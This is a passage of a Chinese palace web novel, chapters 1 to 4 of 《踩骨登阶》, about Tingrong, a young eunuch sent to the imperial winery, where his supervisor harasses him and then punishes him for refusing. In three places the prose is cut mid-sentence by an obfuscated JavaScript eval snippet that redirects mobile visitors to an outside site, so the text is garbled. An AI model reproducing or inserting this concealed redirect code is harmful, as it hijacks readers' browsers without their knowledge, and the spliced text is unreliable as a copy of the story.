《踩骨登阶》
1. 第1章
春分时节,杨柳拂堤,草长莺飞,茂京地气和暖,春色已现。
伴着太阳高升,内务府小门外,穿着灰色圆领粗布长袍的小太监站了两排,一个个脸色发白,消瘦的肩膀让袍子像挂在身上似的。听容正位列其中。
负责带他们过来的太监于小门前边来回踱步,一边以此暖身,一边等着各司的人前来挑选。
这些都是新来的,刚养好了身子,等着安排。
身着红袍的大太监带着一个徒弟自小门出来。
负责带人的太监立刻迎上去行礼:“廉公公,小的给您问安了。”
廉公公微微点头,脸上不见笑意,犀利如鹰的眼睛迅速从新人脸上一一扫过,有半刻不意觉察的停顿,又仿佛只是错觉。
“这一批人有点少啊。”廉公公面无表情地说。
“是。去岁天寒,小子们身子骨不成,没到京呢,就没了好几个。”
廉公公没再多问,转而对新来的道:“你们谁识字,上前一步。”
听容身边的样貌乖顺的小太监符安微微转头看向听容,然后自己走出了队伍。
廉公公打量了出列了两个人,似乎还算满意。随后在队伍前踱步一个来回,停在了听容面前:“你一个字都不识?”
负责带人的太监表情立刻紧张起来。
听容低着头:“是,小的不认字。”
听容气质温润,眉眼精致,眸明而不妖,鼻峰高挺又加深了眉眼,嘴唇略薄,下颌流畅,是让人见了就能印象深刻的好样貌。
廉公公似在思量。
带人的太监走上前,笑脸道:“廉公公,这批里就数听容长得最好,可到近前伺候。但奈何这孩子大字不识一个,您公事繁忙,挑去做事的定得得力才行,听容怕是不合适。”
廉公公没再犹豫,让徒弟带着两个识字的下去细教规矩,就离开了。
符安悄悄回头看了听容一眼,听容冲他稍稍点头,是道别,也是祝福。
随后各司的人陆续来挑选,有专挑年纪小的,有要力气大的,还有挑会手艺的……队伍中的人越来越少,听容仍在其中。
他一直记着教他们规矩的老太监的提醒,要在这个宫里活下去,最基本的就是要学会收敛,多看多学少表现,才能留着命慢慢摸出门道来。
一个时辰后,勤耕苑的人才姗姗来迟,见就剩下五个人了,便说都要了。听容心头一松,这是他本就想去的地方,听老太监讲,勤耕苑是在宫内为皇室种植瓜果蔬菜的地方,活计是辛苦了些,可地处偏僻,规矩少,又远离宫内纷争,是个刚入宫的好去处。
“爷,这个已经有安排了,只是来领人的还没到。其他四个,您可以随您走。”带人的太监指着听容。
听容眉心几不可见地一皱,各司都是来挑了人直接带走的,没有哪处是来传了话没带人的。
“您莫不是记错了?小的没有安排。”听容声音不高,当下比起收敛,他得问个明白。
太监瞪起眼睛,尽显刻薄:“来来往往这么些人,你能知道什么?难不成我还能糊弄勤耕苑的爷?”
勤耕苑来的不过是跑腿的,并不是管事太监,自不会细究,很快就带着人走了。
太监拂了拂衣袖,又挑着眼尾瞅向听容,全然没有了之前的殷勤,拉长了音调尖声道:“走吧。”
无法,听容只得跟着去。
宫中的红墙高得仿佛遮蔽了天日,行于城墙下,好像总也走不到头似的。不知走了多久,终于踏进了一处小门。
“彭公公在吗?小的给您送人来了。”
听容抬头看向门额,匾上写着“御酿局”三个字。再看带人的太监放松的样子,应该是跟这里的人很熟。
彭公公自屋里出来,眼角的细纹堆在一处,泛红的双颊像染上了消不尽的酒气。在看到听容后,嘴角一扯,露出两排里出外进的牙齿。
太监:“这是听容,内务府给改了名的。我瞧着他是个能干的,知道您这儿需要人手,特地挑了给您送过来。”
“好好好。”彭公公打量着听容,像是有无尽的满意。
太监催着道:“还不快给彭公公行礼?”
御酿局干净整洁,地面都比别处亮堂,彭公公看起来也不是难相处的,可听容总是觉得哪里不对劲儿。
“见过彭公公。”听容无暇多想,既然被安排了地方,先稳下来再看不迟。
彭公公笑出了声,随后招呼道:“小青子,带听容去安顿,再跟他说说咱们局的规矩。”
“是!”廊下的蓝衣太监应着走了过来。
彭公公邀着带人的太监一同用午饭,两个人有说有笑地进了屋。
“你以后就住这个屋,这个柜子给你用。”说着,小青子找出一套蓝色的太监袍子,“你把衣服换上,我带你去熟悉一下局里。”
灰袍是最低等的太监穿的,做的都是宫里最累最脏的活儿。被挑进各局的就可以换上深蓝色长袍了,即便是新人,在地位上也是要好一些的。
道谢后,听容换了衣服,依旧没给他太多思考的时间,小青子就带他熟悉起了局中各处。
“咱们御酿局的差事不难,就这个时节能忙些,需要酿制酒品。但库里的绝大多数酒都是外面送进来的,自酿的那些只是图个春天的好彩头。库里的那些酒什么品阶的主子能用,都是有讲究的,我们只要确保这点不出错,就惹不出事。”小青子看着二十五六的样子,样貌普普通通,是放在人堆里不会被留意的,但说话很有调理,语气也不躁,让人很容易听得进去,“剩下的就是注意防火,这要是出了事,就真是要掉脑袋了。”
听容点头表示明白。
小青子还想再说些什么,就见一小太监匆匆跑进来,看到时小青子,明显松了口气:“青公公,恭贵妃娘娘说你们准备的酒太柔了,严公子不会喜欢,让换些稍微烈点的。但劲儿也别太大,让公子喝醉了可不好。”
“严公子已经进宫了吗?”小青子问。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140919|196333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还没有,但已经到京城了,晚膳前应该就进能宫。”
“知道了。”
随后,小青子去跟彭公公汇报了此事。宫里的晚膳在未时正刻,小青子带着听容和另外两个小太监抽空提前吃了饭,便捧了装好的酒,赶着去送了。
御酿局的午饭还不错,肯定比听容在家时吃得强,也比在净身处休养时好,不仅能吃饱,还能见荤腥。局里的人除了刚见面时多看了他几眼外,对他不算热情,也不冷淡,让听容对御酿局印象又好了一分。
“贵妃娘娘饶命啊,奴才知错了,再也不敢了——”
凄厉的求饶声乍然响起,回响在安静的甬道上,惊得人起了层鸡皮疙瘩。
一个小太监被两人拖着离开,嘴上不断求饶。
听容偏头看了一眼,就见那小太监脸肿得老高,嘴角带血,手上也有血迹,并呈现出奇怪的姿态,挣扎着被拖拽走。
跟出来的宫女用帕子擦了擦手,对拖其离开的两人喊:“还不快堵上他的嘴?!没得让人以为娘娘乱用刑罚。蠢笨的东西,砸了娘娘的花瓶,活该被打断手,赶去做苦役!”
听容心里一惊,手断了即便被赶去做苦役又能做什么呢?干不了活还有命活吗?
“别乱看,快走。”走在他身边的小青子小声提醒。
一行四人端着酒壶,步伐一致,背顶太阳,却晒不暖身体。
到达繁秀宫,小青子带着他们直接去了小门,由守门太监通传后,宫女出来带着他们进了小厨房。
放下酒,听容他们三个在院里站着等,小青子在里面跟宫女交代送来的是什么酒,哪年酿的,这些饮食都要记档,方便查对。
“娘娘,娘娘,二公子到了!”宫女快步走进院子,也顾不上规矩了,满脸喜气地喊着。
紧随其后进来的,是一个头带银冠,身穿黑衣的年轻男子,他宽肩窄腰,步子迈得很大,即便只是一个侧身,听容也能感觉到这个人应该是有习武的。
没等男子走到殿前,恭贵妃就在侍女的搀扶下走了出来。
男子撩衣便跪,声音慵懒中带着笑,完全不见长途跋涉的疲惫:“侄儿拜见姑母!”
恭贵妃激动得声音颤抖,亲自走过去扶:“快起来,快起来。好孩子,让你大老远的进京来看我,实在是难为你了。”
“家中记挂姑母,圣上遣人来告知您身体不好,久久不愈,家里定然是要派人来问安的。左右我是家中最闲那一个,姑母不嫌我身无长处,进宫还得劳您照顾就好。”男子站起身,高大的身形即便只是这样站着,也足够有存在感。
恭贵妃拭了拭眼角,声音低下来。听容听不到他们说了什么,就见男子扶着恭贵妃往殿内走。
毫无预兆地,男子的眼睛在院中扫视了半圈,恰好撞进听容的眼里。听容猛然垂下头,心里重跳了几下,不是被发现的紧张,而是被惊到的惊恐,上次有这样的情绪,还是狼群闯入村里,当时他隔着篱笆与头狼对视上,也是这样的心跳。
2. 第2章
从繁秀宫回来,听容并没得闲。明日皇上要设宴给严公子接风,宴会要用的酒今日就得送去。听容一个新来的,没有经验,酿酒的事用不上他,送酒的活儿就落他身上了。好在有小青子带着,并未出差错。
而这一通忙活下来,太阳落山了,听容也把严公子进宫的经过了解了个大概。
这位严公子名严昱祉,是镇守南疆的辅国大将军次子,繁秀宫的恭贵妃娘娘正是辅国大将军的胞妹。
去年入秋后,恭贵妃娘娘的身体就一直不好,甚至病得下不了床。皇上体恤她,也是希望辅国将军能专心守南疆,特招严家人前来探望。严昱祉未在军中任职,属于严家的闲人,进京的事就落到他头上了。
这些在下人间传开的话听一嘴就罢了,奴才和将军之子,一个是地上尘,一个是天上星,八竿子也打不上半点干系的。
“今夜当值的都打起精神。其他人赶紧休息吧。”小青子对众人道。
听容没被安排值夜,倒是可以睡个整觉。刚洗漱完,值夜的小太监就敲门来喊:“听容,彭公公叫你。”
屋里正在洗漱的五人齐齐看向听容,每个人的表情都有说不出的怪异,包括看上去总是很有条理的小青子。听容作为新来的,没有管事太监叫不动他的道理,而在他迈出门时,仿佛听到身后传来一声嗤笑,并不真切。
“彭公公。”听容在门口叫了一声人。今天的两餐他吃得都很好,很久很久没吃这么好了,即便中间干了不少跑腿的活儿,还是很有精神。
“进来吧。”彭公公的调子拉得很长。
从中午来时见了彭公公一面,之后的大半天都没见彭公公的人影,局里的事都是由小青子安排的。
作为管事太监,彭公公自己单住一间屋子,布置并不精致,可该有的一样不少。
彭公公咧嘴一笑,里出外进的牙在烛光下更显杂乱,就像说书先生讲的藏在山里有两排牙齿的吃人妖怪一样。
桌上放着几碟下酒菜,白玉做的酒壶一看就不是太监能用的东西,此时却与下酒菜摆在一起,还有一只精美的白玉盅。
听容不禁想到今日在长街被拖走的小太监,在这宫里,一个奴才在角落中没了性命,也不影响另一处手握权利的太监行僭越之举。皇宫之大,等级分明,规矩森严,却也管不到眼下这一亩三分地。权力迷人眼,有权也是有全,站得高总能多得几分保障,至少不会死得无声无息,像不曾来过一样。
“怎么样?在咱们御酿局还待得惯吗?”彭公公坐在桌前,提起筷子夹着花生米,一颗一颗吃得香。
听容谨慎答:“习惯,各位公公都很友善。”
彭公公笑着点头:“能分来御酿局,真是你八辈子修来的福气。放眼整个宫里,就属我这块地最养人,干净,活少,还不容易被为难。”
“是。”这点听容认同,今天送了几趟酒他就发现了。
彭公公对他的回答很满意,笑着指了指桌上的白玉壶。
听容立刻会意,走上前给他倒满。
彭公公手里捏着酒杯一饮而尽,眼睛却一直盯在听容身上。
烛光给听容的容貌镀上了一层柔和的暖色,加上他消瘦的身体,倒显出几分可怜。
彭公公:“所以啊,只要你好好听话,咱们御酿局肯定留你。”
说着,彭公公的手就抓上了听容的手腕,隔着衣服,彭公公提着他的手腕又给自己倒了一杯。
听容心里有些膈应,但隔着衣服,倒也说不出什么来。
彭公公端起酒杯,再饮一杯:“既然你听话,那本公公就给你讲讲这宫里的规矩。”
没再让听容倒酒,彭公公松开他的手腕,自斟自饮道:“宫里太监的命是最不值钱的,尤其像你们这种小太监,主子随便一句话,就能让你们死得悄无声息,连为什么都不知道。要想在宫里活得久,就得有个靠山。那些运气好些的总管太监、掌事太监,自然有上头的主子罩着,只要不犯忌讳,总能活得好些。
“再往下就是像本公公这样的管事太监,想再往上爬可没那么容易,不过在自己的地盘里也算得上一条地头蛇。上头的公公不会故意找我们茬儿,下头的小太监巴结着我们,想换个轻快些的活儿,有个依靠。所以你能来这儿,自己得珍惜,懂了吗?”
“懂。”其实听容不太明白彭公公大晚上把他叫过来,讲这些略多看看就能明白的事有什么意义。如果只是为了让他好好当差,那今天送酒下来,他也看出御酿局是个好差事。
彭公公几杯酒下肚,脸上的红晕更明显了,说话也开始打瓢:“看你是个聪明的,小脸儿长得也是真的俊,我在宫里这么多年,还没见过你这么俊的,要不是你大字不识一个,恐怕今天就跟着廉公公去内阁当差了。如今你来了我这儿,就是咱们的缘分,你只要肯听话,以后本公公罩着你。”
伴着话音,彭公公又一次拉住听容的手腕,听容以为又要让他倒酒,结果他的手刚要去拿白玉壶,就被彭公公用力扯向自己。
听容没站稳,顺着力度往彭公公身上倒去。彭公公的笑容带上了别样的意味,另一只手已经挨上了听容的鬓发,马上就要摸到脸上去,盯着听容的眼神多了几分贪婪。听容哪怕是乡下来的,也看出了不对劲儿。他一把扶住桌子,没让自己彻底倒下,并顺势抽出了手腕,脑子转得飞快。
他很明白什么是形势比人强,眼下他得罪不起彭公公。但被彭公公盯住的恶心感让他自脊背开始发毛。
“彭公公,”听容站稳后,控制着语气道,“小的刚来,很多地方不懂,的确需要公公指点。但今天已晚,青公公说明天圣上设宴,局中活少不了,小的实在怕误事,到时连累了公公,公公早些休息,小的先退下了。”
有了几分醉意的彭公公脸色一沉,不知是想到明天有重要的差事,还是觉得听容不识好歹,重重地哼了一声,眼看着听容离开了。
出了门,听容压不住心里的恶心,干呕了一声,但他不敢闹出太大动静,只能快速整理好情绪,回了房间。
通铺已经铺好,只有角落还剩个位置。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140920|196333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
见他回来了,其他人仅了短暂地打量了他几眼,没看出什么来,就上床睡了。小青子把炭盆灭了,催着听容道:“铺上自己的床铺赶紧睡。”
听容没出声,只是点点头,他怕自己一张嘴又想呕。从柜子里拿出自己的被子枕头,铺在空出的位置,就躺下了。
小青子息了烛火,睡在了听容旁边的位置上。
黑暗中,听容睁着眼睛完全没有睡意,他还没从刚才的恶心中缓过来。现在冷静下来想想,出门时他听到的那声嗤笑应该不是幻听,也就是说至少这个屋里有人知道彭公公私下所为。
屋里炭温尚存,枕头舒适,被子厚暖,是听容十七年来睡得最好的地方,可他心里却暖不起来。再想到明明御酿局没去挑人,那太监却把他送来了,这中间有什么,能想的就太多了。
而对他来说,眼下最重要的是活着。他不可能委曲求全,但他一个刚进宫的,没根基没人脉,甚至在没有安排的时候,连御酿局这块地儿都不能随便出,想离了这里可不容易。彭公公说自己是地头蛇,这个形容还真贴切。
次日,御酿局更忙了。除了留了一部分人继续酿酒外,来往于宴席上送酒的次数也比预想得多。
严昱祉的到来不仅是为了探望恭贵妃,也代表了整个严家。严将军作为现下炙手可热的猛将,皇上为表器重,参加宴席的也多为武将。武将多有酒量,在皇家宴席上虽不能喝醉失礼,却也没有文臣那般浅酌即止的文雅。
皇上高兴,武将尽兴,席间的酒就没断过。
“皇上已经回温华殿了,宴席也快散了,你们御酿局留两个人收拾酒具就行。”内务府负责这次宴席的太监安排道。
小青子应着,留了听容和另一个小太监,就带着其他人先回去了。
听容乐得在外在多待一会儿,毕竟他还没有想好怎么应付彭公公,也没想好从哪儿打听彭公公的情况。
等了没多久,各位大臣将军就陆续离开了,宫女们鱼贯而入收碗筷。听容也随之进去,伴着满殿酒香将属于御酿局的酒壶、酒杯收进箱子,之后会由最低等的打杂太监抬去清洗,然后送回御酿局。
“都当心些,别砸了东西。谁要是砸了,可从你们的月俸里扣,到时候整年的拿不到月俸,哭都没地儿!”
“慢点慢点,看着脚下,别笨手笨脚地撞到一起,摔了你们是小,弄坏了桌椅是大。”
“你们那些想藏糕点的,到我看不到的地方去藏,在我眼皮子底下就认真干活,我还能亏待了你们不成?”
在这样聒噪的训斥声中,听容有条不紊地收着东西,心情反而没那么乱了。
来到下一处桌前,他站的位置正好看到椅子上躺着和枚通体碧绿的玉佩,他不懂玉,可看玉上打着的如意结和穗子,也知道不是一般人能有的。
他拾起玉佩,准备交给宴会的管事太监,但还没等他转身,手上的玉佩就被抽走了。
听容一抬头,就又撞进了如狼一般的眼睛里,只不过这次,这头狼似乎多了些醉意。
3. 第3章
听容后退一步,低头不语。眼下他不可能邀功说自己拾到了玉佩,正准备上交。只要严昱祉别以为他是想偷偷占为己有就行。
管事太监立刻迎过来:“严公子,您怎么回来了?可是有事要吩咐?”
严昱祉甩了一下手中的玉佩:“掉了东西。”
“哪还用您亲自跑一趟,吩咐一声,奴才给您送过去就是了。”
“没几步路,不劳公公了。”可能因为喝了酒,严昱祉的语气透出几分散漫,与管事太监说完,眼睛又看向听容,“都说能进宫伺候的长相必得端正,如今看来传言还是保守了。”
管事太监笑说:“能得您的眼,是他的福分。”
严昱祉嘴角几不可见地一挑,转身离去。
管事太监也没多言,继续监督起众人干活儿了。
等听容回到御酿局,已经是申正二刻了。今日酿酒已毕,小青子在给酒坛贴酿造的日子,其他人都在打扫院子。
“回来了?”小青子抽空看了眼回来的听容和另一位小太监,让另一位小太监去把一会儿要放院里晒器具的架子擦了,又对听容道:“你去库房把空出来的架子擦干净,晚点宴会用完的酒具送回来好放回去。”
放酒壶酒盏的库房干净、干燥。所有酒具都按各个品阶能用的规制分类,再细化为按材质摆放,便签之详细也是为了确保不出错。
宫宴用的酒具有单独的架子摆放,这会儿大半都是空的,很好擦拭。听容拧了抹布细细擦过,这样的活儿他在家时经常做。
轻缓细微的脚步声引起了听容的注意,还没等他回头去看,一只手就摸上了他的腰带。听容一惊,差点撞到架子上,猛然转头,就看到了一脸笑意的彭公公。
还没彻底忘记的恶心感再度回笼,听容立刻向旁边挪了两步,叫了声“彭公公”。
彭公公嘿嘿笑着,再次凑近去拉他的胳膊:“干活儿是不是累了?走,本公公带你去歇歇。小青子也是的,让你干这些劳累的活做甚?”
“这都是小的分内的事,谢公公好意。”听容思绪打结,在他没想好怎么应付之前,彭公公再次动手动脚,过多的情绪反而影响了他思考。
彭公公:“什么分内不分内的,你跟了我,我还能让你做这些活计?保你吃香喝辣,比局里其他小太监都体面。”
如果说昨晚彭公公的话还算含蓄,那今天就是直白了,让听容想跟他绕弯子都没余地。
听容已经恶心到了极点,全凭本能地把胳膊抽出来,表情也冷下来:“公公,小的刚进宫,许多事实在惶恐,不敢犯任何不合规矩的事,还请公公见谅。”
彭公公瞬间笑意全无,看向听容的眼睛眯了眯:“看来我说的话你是一句都没进去。行,你先犟着,我有的是手段让你驯服!”
说完,彭公公转身往外走。
听容微微松了口气。
可还没等他再平复情绪,就听一声瓷器碎裂的脆响,再抬头,就见彭公公轻蔑又嘲讽地看着他,大声对着门外道:“听容干活不仔细,摔了上好的酒壶,去院里罚跪一个时辰,今晚不准吃饭了!”
院内忙碌的小太监们就像没听到一样,继续干着自己的活,像是没有思想的木偶。
这个时节早晚还是冷的,白天不觉得,晚上那股湿冷好像贴着皮肉往骨肉里钻,不似冬季冻得人打摆子,却也让人从心里觉得寒。
听容又冷又饿,膝盖早就跪得没知觉了,可此刻的他脑子却无比清醒。
他长这么大,即便过得很苦,也没有害过别人。可现下的情势已经由不得他了。他不可能出卖自己,同时他也得能活下去,这样他才有机会再见到自己的家人,才能问问他们为什么要把自己卖进宫里。
明明过了年,他满了十七,按大勉律,满十七他就可以到镇上做工,有了工钱家里就能过得松快些,难道就差这四个月吗?
他不甘,不满,有恨,他必须要好好活下去,才有机会为自己讨个说法。
听容的心被冷夜反复冰冻,小太监们凑在一起吃饭,没有太多闲聊,彭公公的酒菜已经送进屋里,看着窗子上自斟自饮的剪影,听容萌生出一个念头——自己要活,彭公公就得消失!
可在念头完全浮现的瞬间,听容略被自己吓着了,这样的念头让他吃惊,仿佛这个吞人的皇宫已经在悄无声息中将他应有的底色吞噬殆尽了。
饭后,值夜的太监去了值房,其他人回房间准备休息,彭公公的影子依旧在窗上,比一刻前更悠闲了。
“行了,时辰到了,起来吧。”小青子今天值夜,洗漱好后从房间出来,把听容叫了起来。
听容这才弯下了挺直的脊背,双手撑地,试图站起来。可没有了知觉的膝盖让他难以起身,只得坐到地上缓一缓。
小青子没扶他,只说:“今晚你值夜,缓好了到小厨房守着。”
“是。”听容都不确定小青子听没听到他的声音。
坐了好一会儿,听容才站起来,步履僵直地进了小厨房。小厨房还留着蒸了一天糯米的米香,小青子生了个炭炉,上面坐着晚些要给彭公公送去的醒酒汤,指着对面的凳子:“过来坐着暖一暖。”
冻冷的心划出一道水痕,听容坐了过去。
小青子又从旁边的篮子里拿出给他留的饭:“快吃吧,还温着。”
听容没想到小青子会偷偷给他留饭,还是在彭公公不让他吃饭的情况下,惊讶之余,道谢接过了碗。
“你运气还不错,这些天局里要酿酒,给的炭火和柴火都富余。否则你今晚连口热乎的都吃不上,说不定还得冻病了。”小青子语气很随意,对这样的事已经见怪不怪了。
听容扒了两口饭,胃里有了暖意,身上就不那么冷了。
“酒壶不是我摔的。”听容知道说了也没用,可面对这一捧暖意,他还是想给自己辩白几句。
小青子压着声音说:“我知道,咱们御酿局的人个个心里都明镜似的。要怪就怪你长得太好,入了彭公公的眼了。”
“他……”听容想问“他怎么敢的,这里是皇宫”,可话到嘴边,想到皇宫之大,蝼蚁的呼喊甚至传不出院子,问了也没有意义。
“彭公公不是第一次这么干了,就我知道的,仅在御酿局,就已经死了两个了。”小青子声音不高,防止被人听到,“一个没从他,在被他纠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140921|196333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缠中掉进池子里淹死了,他见死不救,还装没事人一样跑了;另一个受不了天天受罚,一咬牙跟了他,结果彭公公下手没轻重,把人身子弄坏了,治不了病死了。”
听容立刻没了吃饭的胃口,捧着碗道:“没人追究吗?”
小青子嗤笑一声,一直波澜不惊的脸上露出一丝厌恶:“这个宫里每年无声无息死去的太监太多了,谁会追究?再说,能坐到管事太监这个位子上的,门路复杂着呢。万一告到了能保彭公公的人那里,就是自寻死路。”
听容刚化出水渍的心再次冻上,看来宫中的复杂不是他一个乡下小子一时半会儿能弄明白的。
“为什么要告诉我这些?”他能想到的就是小青子同情他的境遇。不过既然宫中这么复杂,他听的又只是小青子的一面之词,总得有更可靠的理由,才能让小青子愿意跟他一个新人说这些秘辛。
小青子伸手烤着火:“掉池子里淹死的那个,是我发小。我们两个一起进宫,说好等年纪大了离宫,无儿无女的相互照顾。在御酿局的日子不难过,我们对以后出宫也满是憧憬。结果没两年,原来的管事太监年岁大了被允许离宫,彭公公接管了这里还没出三个月,我发小就没了。”
两条人命,从与不从看起来都没活路。听容不禁握紧了手中的筷子。
“我跟你说这些是想让你心里有数,如果有门路离开,就赶紧想办法走。你也应该看出来了,御酿局里都是相貌平平的,也只有这样才最安生。”说到这儿,小青子沉默了片刻,又说,“想来你是没有门路的,否则也不至于被送到这儿来。送你来的那太监一直巴结着彭公公,知道彭公公好男色,又只喜欢长得好看的,正好拿你做人情,希望彭公公能找机会把他要到御酿局来做些清闲差事。”
听容闭了闭眼,稳住心神。他的确没有任何门路,进宫后与他关系最好的符安也不过是刚分到差事,具体什么情况还不好说,必然是帮不上他的。他又没有银子可使了疏通关系,这条路走不通。
越是无望,反而越激发出了听容要活的决心,他捧起碗继续吃饭,别人帮不了他,他就自己帮自己,总要拼出一条活路来。
站了一天,又跪了一个时辰,守着炭火,哪怕只裹着一席被子,听容也睡了一个沉觉,连夜半下了一阵雨春都未觉察。
天阴沉沉的,开门就涌进一股水气。昨夜的雨淋湿了晾在院中用于酿酒的器具,即便值夜的太监立刻收了器具,也没来得及,今日便不能继续酿酒了,器具都得重新刷洗,再次晾晒。
“听容,桂花和玫瑰花都不够了,吃完饭你去尚膳房再拿一些。”小青子照例安排着今天的活儿,把听容安排出去对听容来说不是坏事。
用过早饭后,听容就拿了个篮子往尚膳房去了,路上遇到好几队清扫回来的太监。
“下了场雨,路上倒是干净好扫了。”
“你们扫甬道的还行,我们扫宫花园的可难了,石子路上都是水,扫时溅得衣摆鞋子上都是。”
“一场春雨一场暖,这场雨后,宫花园的树就都该抽芽了。”
听着他们的对话,听容突然有了主意,加快了步伐赶往尚膳房。
4. 第4章
繁秀宫里,严昱祉由皇上允准,每日可到恭贵妃宫中请安。
今天他依旧一身黑衣,只不过这回衣摆用黑线绣了火焰纹,不仔细瞧还看不出来,但看出来了就会觉得绣工精细,是花了工夫的。玉佩系在腰间,在黑色的衬托下更显碧色。
“快起来,昨个喝了不少酒,今天可觉得昏沉?”恭贵妃的样貌在宫里是数一数二的漂亮,属于小巧精致的美。即便已有三十七的年纪,也丝毫不见岁月的痕迹。武将家的出身让她说话干脆利落,没有南方女子的软糯。
“宫里都是好酒,不醉人的。再说,和在南疆喝的酒相比,宫里的酒可没什么劲儿。”严昱祉面带笑意,对着姑母语气亲近。
“那也得有节制,在我眼皮子底下,你可得好好的才行。”恭贵妃让严昱祉坐,待宫女上了茶后,将屋里伺候的全挥退了,才又问:“宫里的膳食还吃得惯吗?若是不喜欢,我让小厨房每天做了你喜欢的送过去。”
“都好,我不挑的,姑母不必为我操心。”没了外人,严昱祉也放松下来,“今日怎么没见妹妹来请安?”
恭贵妃伴驾多年,育有一女,颇得皇上宠爱。
恭贵妃笑说:“她昨个见了你,说你身上连个荷包都没有,装些细碎的东西不方便,今个要亲自去库房挑块好料子给你绣一个,当作见面礼了。”
表兄妹之间送荷包,又是经了恭贵妃同意的,于礼合适。
“我丢三落四的,妹妹若送我,我还不得供起来?万一弄丢了,就辜负妹妹的好意了。”
“哪就那么精贵了?她年纪小,又是公主,我对她的女红并不要求。不过若完全做得不成样子也不好,且当让她练手了。”
严昱祉微微点头,没有推辞。
恭贵妃看着仪表堂堂的严昱祉,叹了口气,眉心蹙起:“是我不好,不仅没能帮上家里,还让皇上以我为借口,变相把你软禁到宫里了。”
严昱祉劝道:“姑母多虑了,我来总比大哥来强。皇上多疑,南疆在咱们严家的治辖下民生安稳,边关更是无一败绩,皇上有顾虑,家里早就有准备。当初祖父忍痛把您送进宫,是为了严家和南疆的安稳。如今家里明知皇上的意图,依旧让我来了,也是同样的原因。姑母,只要南疆不乱,您与我都安全。”
“道理我都懂,只是把你困在这里,让我怎么忍心?”恭贵妃眼眶一红,孩子越懂事,越显得她无能。
“娘总嫌我散漫,让我进宫学着收敛一些,还能跟皇子们一起读书,她应该挺高兴的。”严昱祉说着让恭贵妃宽心的话。
想到嫂子来信总数落严昱祉不服管,她又忍不住笑了:“西边新进贡的葡萄酒说是今天到,好入口又不醉人,晚点我让人给你拿一坛尝尝鲜。”
“那我就不跟您客气了。”
听容回到御酿局时,大家正忙着往库房搬酒。这些酒都是由手掌大小的坛子封装的,数量不多,坛子雕刻着特别的纹样,小巧精致。
“听容,把花放厨房,过来帮着搬。”小青子又给他派了活。
听容应了一声,刚放了东西出来,就看到了从屋里出来的彭公公。
彭公公眉毛一挑,正要开口,繁秀宫的掌事宫女就来了。
彭公公立刻换了一副样子,客客气气地迎过去:“芳眉姑姑,您怎么亲自来了?”
听容悄悄往那边看了一眼,这位姑姑看起来三十出头的样子,这个年纪还在宫里伺候,可见很受器重。也只有这样的身份,彭公公才能不计年纪,称对方“姑姑”吧。
芳眉温和中带着严肃,这样的人反而让旁人难摸到她的情绪:“进贡的葡萄酒可到了?”
“到了到了,您看,正在登记入库呢。”彭公公立刻让开位置,向她展示运进来的酒。
“看着量不多啊。”芳眉显然是有经验的。
“是,听说去年属国葡萄的收成不好,酒制得不多。不过不管多少,皇上肯定少不了给恭贵妃的。”彭公公奉承着。
芳眉牵了牵嘴角:“娘娘要给严公子一坛,晚膳时你们给送过去。”说着,芳眉扫了一眼院内众人,目光顷刻锁在听容身上,她抬手一指,“就他吧,让他给严公子送去。”
听容心下诧异,不知芳眉姑姑怎么就指了他了。
彭公公后背一僵,试探着说:“姑姑,他刚来的,规矩学得不好,怕犯了规矩惹严公子不快。”
他心里门清,以听容的样貌,只要得了主子的眼,想换个差事并不难。他跟听容说出了御酿局没有好去处的话,是带着吓唬的,就是希望听容乖乖听话。
芳眉一笑,即便作为宫里已经有了些年纪的女人,还是好看的:“分差事前都是教过规矩的,差不了事。长得好看的多往主子眼前走走,主子看着也高兴不是?”
彭公公在宫内有自己的消息来源,芳眉的话结合他的消息,被他理解成严公子被皇上拘在宫里,心气不顺,得找些能入眼的到跟前去,才不容易发脾气。
“姑姑说得很是。”没敢再有异议,彭公公对着听容道,“听容,把给严公子的酒装好,晚膳给送过去。”
在宫中,皇子满十七后,每日晚膳可用酒。严昱祉不是皇子,可皇上下令让他跟着皇子们一起读书,住的也是皇子所,待遇上就算没有特别交代,大约也是跟皇子们差不太多的。
“是。”听容乐得送这一趟,既然要让他去送,彭公公就得让他好好出门,不可能故意罚他了。
芳眉姑姑走后,彭公公看了听容几眼,心气不顺,又不能如何,就站在院子里颐指气使:“这些酒的记档一定不能错了,万一哪位主子多一坛少一坛的,咱们御酿局吃罪不起。
“皇后和两位贵妃那里,想你们也不敢出错。剩下的主子里你们也别怠慢了,尤其是进宫不久的循才人,这次位分不高的嫔妃里,就这位主子得了这葡萄酒,预计今儿也是要来取的,你们可都精神着点,别敷衍了。”
